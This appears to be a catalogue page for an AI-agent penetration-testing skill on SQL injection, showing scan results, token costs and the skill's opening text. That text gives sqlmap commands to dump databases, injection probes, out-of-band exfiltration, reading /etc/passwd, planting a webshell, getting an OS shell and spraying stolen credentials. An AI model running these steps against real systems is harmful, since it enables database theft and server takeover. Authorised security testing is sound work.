Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill sqligit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/sqli)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/sqli"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/sqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/sqli"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/sqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 28 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Privilege Escalation · line 31 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 34 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00100 | $0.00815 |
| Opus 5.5 | $0.00040 | $0.00326 |
| Sonnet 5.5 | $0.00020 | $0.00163 |
| Haiku 4.5 | $0.00010 | $0.00081 |
Grade A, and why
web-sqli scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 43 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SQL Injection
When this fires
A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.
Detect (tool-first, low-noise)
Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:
sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt
# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:
sqlmap -r /tmp/request.txt -p <param> --batch
Then sqlmap_parse on the output. A single manual probe (', ' OR '1'='1' -- -, 1 AND SLEEP(5)) is a confirm poke ONLY — never the detection method or a payload sweep by hand.
Decide
- Error shown → error-based / UNION (fastest data). Get column count:
ORDER BY Nuntil it breaks; find the reflected column; fingerprint DB (@@version,version(),sqlite_version()). - No error but true≠false → boolean-blind. No differential but timing → time-blind (
SLEEP/WAITFOR DELAY/pg_sleep/dbms_pipe.receive_message). - No in-band channel → OOB (DNS/HTTP exfil) via
--dns-domain/ MySQLLOAD_FILE(CONCAT('\\\\',...)), MSSQLxp_dirtree.
Exploit → PROVE IMPACT
sqlmap -r /tmp/request.txt -p <param> --batch --dbs # list databases
sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump # extract
# creds/secrets → add_credential + cred_spray; escalate where possible:
# MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot
# MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell
Proof required: a dumped row a benign query couldn't return (a canary/secret value), a read file (/etc/passwd), or id via os-shell. "sqlmap says injectable" is a lead, not proof.
Tooling
sqlmap (--batch --random-agent, -r for weird transports, --technique BEUSTQ, --tamper for WAF) → sqlmap_parse. nuclei for known-CVE SQLi in a specific product → nuclei_parse.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 43 lines · 100 tokens per session scan A 3009683bd41c
web-sqli is a skill published in the GitHub repository s0ld13rr/pentestcode (921 stars, last pushed 12d ago), licensed MIT. It adds 100 tokens to every session and 815 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
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lictor-explain
Takes any security finding, error message, or jargon-heavy security advice and explains it in plain English. Use this when someone is confused by what /lictor-security-check found, or when they got a security warning from another tool and don't understand it.
openai-patterns
Production OpenAI API patterns — model selection, prompt engineering, function calling, streaming, error handling, cost control, and structured outputs.
lictor-fix-it
Applies the fixes recommended by /lictor-security-check, with the user's explicit permission for each change. Walks through findings one at a time, shows the proposed change, gets approval, applies, runs tests if available, and moves on. Some fixes (rotating leaked credentials) require the user to act outside Claude …
html-artifacts
Author the HTML for a plan artifact, dashboard iframe, or Slack attachment — structure, design plan, available runtime, theming, and craft. Read this before writing HTML for publishartifact, outputiframe, or slackattachhtml.